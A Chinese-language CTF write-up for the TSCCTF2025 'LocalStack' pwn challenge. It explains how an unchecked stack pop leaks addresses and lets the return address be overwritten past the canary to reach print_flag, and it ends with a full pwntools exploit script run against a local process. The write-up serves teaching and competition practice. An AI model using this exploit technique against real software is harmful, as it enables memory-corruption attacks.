【CTF对抗-TSCCTF2025 LocalStack WriteUp】此文章归类为:CTF对抗。
TSCCTF2025 LocalStack
来自台湾安全俱乐部(TSC)的一道栈溢出
概览
main函数给了push、pop、show等命令,可以对栈上的数据进行读写查

直接给了后门函数

漏洞点
pop操作并没有对栈顶进行检查,这样就可以泄露,并修改栈中数据

具体利用
Dockerfile给的是ubuntu:24.04,直接在虚拟机中测试
程序保护全开

直接pop会让top从-1变为-2

不断pop就可以泄露栈中数据,比如函数基地址

然后通过重新push还可以修改top的值


这样就可以直接修改返回地址,也不会破坏canary

此时直接退出就会返回到print_flag函数

EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 | from pwn import *
context(os = 'linux' , arch = 'amd64' , log_level = 'debug' )
context.terminal = [ 'tmux' , 'splitw' , '-h' ]
binary = "./localstack"
elf = ELF(binary)
DEBUG = 1
ip = "127.0.0.1"
port = 11100
def exp(p):
def pushFunc(value):
p.recvuntil(b ">> " )
p.sendline( "push " + (value))
def popFunc():
p.recvuntil(b ">> " )
p.sendline( "pop" )
def showFunc():
p.recvuntil(b ">> " )
p.sendline( "show" )
def otherFunc(payload):
p.recvuntil(b ">> " )
p.sendline(payload)
popFunc()
popFunc()
popFunc()
p.recvuntil(b "Popped " )
main_addr = int ((p.recv( 15 )).decode( 'utf-8' )) - 0x16b
print ( "main_addr--->" + hex (main_addr))
popFunc()
for i in range ( 0x19 + 2 ):
popFunc()
for i in range ( 0x19 + 4 + 1 ):
pushFunc( str (i))
pushFunc( str ( 29 ))
payload = main_addr + 621
pushFunc( str (payload))
payload = main_addr - 0xab
pushFunc( str (payload))
otherFunc( "exit" )
p.interactive()
def main():
if DEBUG:
p = process(binary)
gdb.attach(p, "source ./.gdbinit" )
exp(p)
else :
p = remote(ip, port)
exp(p)
if __name__ = = "__main__" :
main()
|
更多【CTF对抗-TSCCTF2025 LocalStack WriteUp】相关视频教程:www.yxfzedu.com